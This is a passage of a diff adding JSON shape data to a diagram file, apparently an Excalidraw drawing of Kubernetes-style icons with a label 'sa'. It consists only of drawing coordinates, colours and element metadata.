"points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 1228, + "versionNonce": 789425376, + "index": "c0UZ3G", + "isDeleted": false, + "id": "1u2ABQaKY8WIYKLHpcXjz", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1502.925175560729, + "y": -1561.7919844522085, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 10.252280648612068, + "height": 9.88260706753235, + "seed": 1570698936, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.5526290405350023, + 1.9223026216148493 + ], + [ + -0.49289810810634505, + 6.333740689166632 + ], + [ + 3.5488663783657186, + 8.280688216186745 + ], + [ + 7.615275770243094, + 6.358385594572097 + ], + [ + 8.699651608077065, + 1.9962373378308405 + ], + [ + 5.865487486465552, + -1.5526290405348702 + ], + [ + 1.2076003648605451, + -1.601918851345604 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1484, + "versionNonce": 1585778912, + "index": "c0UZ3V", + "isDeleted": false, + "id": "QhyGLgjVxen2sK0G5zMsy", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1510.2614120954033, + "y": -1585.988429859177, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1291804600, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1643, + "versionNonce": 1903162592, + "index": "c0UZ4", + "isDeleted": false, + "id": "w10PDJWj3IeaNpUmLJual", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.9101052658279114, + "x": 1521.9562647211055, + "y": -1568.5734509116628, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 644524216, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1559, + "versionNonce": 761157856, + "index": "c0UZ4G", + "isDeleted": false, + "id": "h-CBNfhq11cr7krjV5ekW", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.8100395845487913, + "x": 1515.6191060384403, + "y": -1548.8594689417823, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 629461432, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1587, + "versionNonce": 635452640, + "index": "c0UZ4V", + "isDeleted": false, + "id": "c5aPYnjo55ac5xUbEgVnV", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6912717400126276, + "x": 1496.2591018385413, + "y": -1541.4113154336737, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1903286968, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1631, + "versionNonce": 2089132256, + "index": "c0UZ5", + "isDeleted": false, + "id": "d_tDjTRGUVTYMkFPnkFmO", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.5758525840700663, + "x": 1478.2215262620457, + "y": -1551.9570770798891, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 752206776, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1597, + "versionNonce": 551453920, + "index": "c0UZ5G", + "isDeleted": false, + "id": "-e7u-ys3wO_ZTFCDwzMdx", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.471678909518175, + "x": 1475.3123916799832, + "y": -1572.5839157533064, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 97815736, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1650, + "versionNonce": 276490464, + "index": "c0UZ5V", + "isDeleted": false, + "id": "chbpaoNMev-0aOqYuyJnN", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.391113754113791, + "x": 1489.5868693488628, + "y": -1587.5995470792432, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1175598520, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 3493, + "versionNonce": 384486624, + "index": "c0UZ6", + "isDeleted": false, + "id": "WAch5liJoMbPRIHuCKGf7", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2098.050020371086, + "y": -1456.1026970387888, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1655881400, + "groupIds": [ + "hnoYUutUZQyDcICDhgWhO", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2339, + "versionNonce": 230568160, + "index": "c0UZ6G", + "isDeleted": false, + "id": "hzPhKx5tBSzztNcrU4oUj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2099.207875138931, + "y": -1457.0138986209204, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 207235000, + "groupIds": [ + "hnoYUutUZQyDcICDhgWhO", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "diamond", + "version": 1312, + "versionNonce": 478483680, + "index": "c0UZ6V", + "isDeleted": false, + "id": "ruOSNATdOFqvvCU3valW8", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2076.5007686865406, + "y": -1440.3879560281912, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 48.50775772329105, + "height": 55.044002467510836, + "seed": 1059877048, + "groupIds": [ + "yQJuzLaYBMB-5AOJolLIq", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1482, + "versionNonce": 2026862816, + "index": "c0UZ7", + "isDeleted": false, + "id": "HKClMv6veXKptBIk_Bm_o", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2075.772423975981, + "y": -1427.7875925355042, + "strokeColor": "#fff", + "backgroundColor": "#fff", + "width": 50.4014539707469, + "height": 52.36798468925869, + "seed": 1389205944, + "groupIds": [ + "yQJuzLaYBMB-5AOJolLIq", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.946848123727927, + 24.836554630093477 + ], + [ + 11.070839600510828, + 43.4093447493716 + ], + [ + 25.20072698537345, + 51.71247444975476 + ], + [ + 42.31682768353179, + 43.11800686514762 + ], + [ + 50.4014539707469, + 23.08852732474966 + ], + [ + 49.52744031807505, + -0.43700682633595234 + ], + [ + 3.423220139631752, + -0.6555102395039286 + ] + ] + }, + { + "type": "line", + "version": 1831, + "versionNonce": 640507104, + "index": "c0UZ7G", + "isDeleted": false, + "id": "_6y8ZjF4gbxuIpKV1pVmQ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2088.4446451680815, + "y": -1404.053098860396, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 25.701674259092506, + "height": 23.42838906858775, + "seed": 174170808, + "groupIds": [ + "yQJuzLaYBMB-5AOJolLIq", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.4828349210523275, + 11.111377847549969 + ], + [ + 5.645454461534744, + 19.420472718884987 + ], + [ + 12.850837129546253, + 23.135126896658285 + ], + [ + 21.57900685626123, + 19.290133975805215 + ], + [ + 25.701674259092506, + 10.329345389071378 + ], + [ + 25.255980485813474, + -0.195508114619646 + ], + [ + 1.7456339453430385, + -0.293262171929469 + ] + ] + }, + { + "type": "ellipse", + "version": 1111, + "versionNonce": 909033696, + "index": "c0UZ7V", + "isDeleted": false, + "id": "ZIoZNBy2Blg9WBmvg4zr_", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2092.9613591451957, + "y": -1427.7147580644478, + "strokeColor": "#228be6", + "backgroundColor": "#228be6", + "width": 16.387755987598226, + "height": 16.16925257443036, + "seed": 613190584, + "groupIds": [ + "yQJuzLaYBMB-5AOJolLIq", + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false + }, + { + "type": "text", + "version": 1123, + "versionNonce": 140748000, + "index": "c0UZ8", + "isDeleted": false, + "id": "3ypUApcF", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2088.3353909711955, + "y": -1379.7202906559378, + "strokeColor": "#fff", + "backgroundColor": "transparent", + "width": 22.20016520186949, + "height": 22.935001028129516, + "seed": 1802654904, + "groupIds": [ + "XATakJtbIlqVknJbQvvqq", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "fontSize": 18.348000822503618, + "fontFamily": 1, + "text": "sa", + "rawText": "sa", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "sa", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "line", + "version": 3309, + "versionNonce": 173803744, + "index": "c0UZ8G", + "isDeleted": false, + "id": "PFPsP0wjwkMKpiqIYO4aZ", + "fillStyle": "solid", + "strokeWidth": 4, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1608.0822224559206, + "y": -1451.5223550608753, + "strokeColor": "#aaa", + "backgroundColor": "transparent", + "width": 106.79771483726681, + "height": 107.53031590626084, + "seed": 1152843192, + "groupIds": [ + "JXXHq6ShtHwbo0nzAMWlv", + "ke6euh3wlj1NkN-Ojth98", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -41.66671196497606, + 20.121498273066397 + ], + [ + -51.38243691116019, + 67.7951411337988 + ], + [ + -21.307945418562216, + 105.31929070494587 + ], + [ + 25.477528287005345, + 106.40162070990031 + ], + [ + 55.415277926106604, + 67.95524748915972 + ], + [ + 47.682555618523494, + 24.23130842449494 + ], + [ + 0.8850969185920491, + -1.128695196360516 + ] + ] + }, + { + "type": "line", + "version": 2155, + "versionNonce": 2007493856, + "index": "c0UZ8V", + "isDeleted": false, + "id": "vR_HWi2TBcFhVW0Ew6hef", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1609.2400772237654, + "y": -1452.4335566430082, + "strokeColor": "#fff", + "backgroundColor": "#228be6", + "width": 105.88509346040033, + "height": 106.04266056376404, + "seed": 1098811064, + "groupIds": [ + "JXXHq6ShtHwbo0nzAMWlv", + "ke6euh3wlj1NkN-Ojth98", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453340, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -42.227983701469164, + 20.326156333916135 + ], + [ + -52.46984542010909, + 67.75385444638715 + ], + [ + -23.47749840118994, + 105.41239215030927 + ], + [ + 23.477498401189994, + 106.04266056376404 + ], + [ + 53.41524804029125, + 67.59628734302345 + ], + [ + 43.015819218287646, + 20.16858923055245 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 2008, + "versionNonce": 433541344, + "index": "c0UZ9", + "isDeleted": false, + "id": "aMgLYauTHyOGEtNiFvLhS", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1580.0122303806982, + "y": -1410.564893263535, + "strokeColor": "#228be6", + "backgroundColor": "#fff", + "width": 59.37137674309081, + "height": 27.221156128594433, + "seed": 778891192, 